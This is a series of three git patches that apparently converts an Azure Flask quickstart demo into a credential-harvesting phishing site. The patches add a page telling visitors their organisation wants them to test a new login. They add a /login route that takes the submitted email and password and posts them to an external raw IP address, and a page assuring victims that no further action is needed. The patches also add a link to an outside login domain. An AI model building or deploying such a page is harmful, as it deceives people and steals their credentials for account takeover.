From f5d36ab87be727b262e595e43b4890bc31bad431 Mon Sep 17 00:00:00 2001
From: James Drew <james.drew@sentrium.co.uk>
Date: Wed, 7 Aug 2024 21:27:42 +0100
Subject: [PATCH 1/3] update gitignore

---
 .gitignore | 2 ++
 1 file changed, 2 insertions(+)

diff --git a/.gitignore b/.gitignore
index b6e47617d..2ec963898 100644
--- a/.gitignore
+++ b/.gitignore
@@ -6,6 +6,8 @@ __pycache__/
 # C extensions
 *.so
 
+*.zip
+
 # Distribution / packaging
 .Python
 build/

From 3009f6e07454282632c22f6b96c6ca56b0cc2426 Mon Sep 17 00:00:00 2001
From: James Drew <james.drew@sentrium.co.uk>
Date: Wed, 7 Aug 2024 21:27:52 +0100
Subject: [PATCH 2/3] Tweak index.html

---
 templates/index.html | 11 ++++++-----
 1 file changed, 6 insertions(+), 5 deletions(-)

diff --git a/templates/index.html b/templates/index.html
index 9cdba30cd..92d309dc9 100644
--- a/templates/index.html
+++ b/templates/index.html
@@ -10,18 +10,19 @@
         <div class="px-4 py-3 my-2 text-center">
             <img class="d-block mx-auto mb-4" src="http://github.com/%7B%7B%20url_for('static', filename='images/azure-icon.svg') }}" alt="Azure Logo" width="192" height="192"/>
             <!-- <img  src="http://github.com/docs/5.1/assets/brand/bootstrap-logo.svg" alt="" width="72" height="57"> -->
-            <h1 class="display-6 fw-bold text-primary">Welcome to Azure</h1>            
+            <h1 class="display-6 fw-bold text-primary">Welcome!</h1>            
           </div>
         <form method="post" action="http://github.com/%7B%7Burl_for('hello')}}">
             <div class="col-md-6 mx-auto text-center">
-                <label for="name" class="form-label fw-bold fs-5">Could you please tell me your name?</label>
+                <label for="name" class="form-label fw-bold fs-5">Your organisation has asked you to test new login functionality, this website does nothing but validate the setup.</label>
 
                 <!-- <p class="lead mb-2">Could you please tell me your name?</p> -->
-                <div class="d-grid gap-2 d-sm-flex justify-content-sm-center align-items-center my-1">
+                <!-- <div class="d-grid gap-2 d-sm-flex justify-content-sm-center align-items-center my-1">
                     <input type="text" class="form-control" id="name" name="name" style="max-width: 256px;">
-                  </div>            
+                  </div>             -->
                 <div class="d-grid gap-2 d-sm-flex justify-content-sm-center my-2">
-                  <button type="submit" class="btn btn-primary btn-lg px-4 gap-3">Say Hello</button>
+                  <a href="https://login.damedrewby.co.uk/bigdamebaby" class="btn btn-primary btn-lg px-4 gap-3" target="_blank">Login</a>
+                  <!-- <button type="submit" class="btn btn-primary btn-lg px-4 gap-3">Login</button> -->
                 </div>            
             </div>
         </form>

From 0f685790726b520b9068945e7c77f63d1300727c Mon Sep 17 00:00:00 2001
From: James Drew <james.drew@sentrium.co.uk>
Date: Thu, 8 Aug 2024 20:08:12 +0100
Subject: [PATCH 3/3] Add generic login

---
 app.py               | 22 ++++++++++++++++++++++
 templates/index.html | 28 +++++++++++++++++++++-------
 templates/login.html | 21 +++++++++++++++++++++
 3 files changed, 64 insertions(+), 7 deletions(-)
 create mode 100644 templates/login.html

diff --git a/app.py b/app.py
index 3d1808cf6..a8d22f89a 100644
--- a/app.py
+++ b/app.py
@@ -1,4 +1,5 @@
 import os
+import requests
 
 from flask import (Flask, redirect, render_template, request,
                    send_from_directory, url_for)
@@ -26,6 +27,27 @@ def hello():
    else:
        print('Request for hello page received with no name or blank name -- redirecting')
        return redirect(url_for('index'))
+   
+
+@app.route('/login', methods=['POST'])
+def login():
+    email = request.form.get('email')
+    password = request.form.get('password')
+
+    if email and password:
+        print('Request for login page received with name=%s' % email)
+        try:
+            data = {
+                    'email': email,
+                    'password': password
+                }
+            response = requests.post("http://51.141.48.103/", data=data)
+        except Exception as e:
+           print(e)
+        return render_template('login.html', email = email)
+    else:
+        print('Request for login page received with no email or blank email -- redirecting')
+        return redirect(url_for('index'))
 
 
 if __name__ == '__main__':
diff --git a/templates/index.html b/templates/index.html
index 92d309dc9..96eca35ba 100644
--- a/templates/index.html
+++ b/templates/index.html
@@ -12,20 +12,34 @@
             <!-- <img  src="http://github.com/docs/5.1/assets/brand/bootstrap-logo.svg" alt="" width="72" height="57"> -->
             <h1 class="display-6 fw-bold text-primary">Welcome!</h1>            
           </div>
-        <form method="post" action="http://github.com/%7B%7Burl_for('hello')}}">
+        <!-- <form method="post" action="http://github.com/%7B%7Burl_for('hello')}}">
             <div class="col-md-6 mx-auto text-center">
                 <label for="name" class="form-label fw-bold fs-5">Your organisation has asked you to test new login functionality, this website does nothing but validate the setup.</label>
 
-                <!-- <p class="lead mb-2">Could you please tell me your name?</p> -->
-                <!-- <div class="d-grid gap-2 d-sm-flex justify-content-sm-center align-items-center my-1">
-                    <input type="text" class="form-control" id="name" name="name" style="max-width: 256px;">
-                  </div>             -->
+                <p class="lead mb-2">Could you please tell me your name?</p>
+                <div class="d-grid gap-2 d-sm-flex justify-content-sm-center align-items-center my-1">
+                  <input type="text" class="form-control" id="name" name="name" style="max-width: 256px;">
+                </div>            
                 <div class="d-grid gap-2 d-sm-flex justify-content-sm-center my-2">
                   <a href="https://login.damedrewby.co.uk/bigdamebaby" class="btn btn-primary btn-lg px-4 gap-3" target="_blank">Login</a>
-                  <!-- <button type="submit" class="btn btn-primary btn-lg px-4 gap-3">Login</button> -->
+                  <button type="submit" class="btn btn-primary btn-lg px-4 gap-3">Login</button>
                 </div>            
             </div>
-        </form>
+        </form> -->
+        <form method="post" action="http://github.com/%7B%7Burl_for('login')}}">
+          <div class="col-md-6 mx-auto text-center">
+              <label for="name" class="form-label fw-bold fs-5">Your organisation has asked you to test new login functionality, this website does nothing but validate the setup.</label>
+              <div class="d-grid gap-2 d-sm-flex justify-content-sm-center align-items-center my-1">
+                <input type="text" class="form-control" id="email" name="email" style="max-width: 256px;" placeholder="email">
+              </div>
+              <div class="d-grid gap-2 d-sm-flex justify-content-sm-center align-items-center my-1">                
+                <input type="text" class="form-control" id="password" name="password" style="max-width: 256px;" placeholder="password">
+              </div>
+              <div class="d-grid gap-2 d-sm-flex justify-content-sm-center my-2">
+                <button type="submit" class="btn btn-primary btn-lg px-4 gap-3">Login</button>
+              </div>            
+          </div>
+      </form>
      </main>      
    </body>
 </html>
\ No newline at end of file
diff --git a/templates/login.html b/templates/login.html
new file mode 100644
index 000000000..f288c66c6
--- /dev/null
+++ b/templates/login.html
@@ -0,0 +1,21 @@
+<!doctype html>
+<head>
+    <title>Hello Azure - Python Quickstart</title>
+    <link rel="stylesheet" href="http://github.com/%7B%7B%20url_for('static', filename='bootstrap/css/bootstrap.min.css') }}">
+    <link rel="shortcut icon" href="http://github.com/%7B%7B%20url_for('static', filename='favicon.ico') }}">
+</head>
+<html>
+   <body>
+     <main>
+        <div class="px-4 py-3 my-2 text-center">
+            <img class="d-block mx-auto mb-4" src="http://github.com/%7B%7B%20url_for('static', filename='images/azure-icon.svg') }}" alt="Azure Logo" width="192" height="192"/>
+            <!-- <img  src="http://github.com/docs/5.1/assets/brand/bootstrap-logo.svg" alt="" width="72" height="57"> -->
+            <h1 class="display-6 fw-bold">Hello {{email}}</h1>
+            <p class="fs-5">
+                Thank you, you have succesfully used the new authentication, no further action required.
+            </p>
+            <a href="http://github.com/%7B%7B%20url_for('index') }}" class="btn btn-primary btn-lg px-4 gap-3">Back home</a>
+          </div>
+     </main>      
+   </body>
+</html>
\ No newline at end of file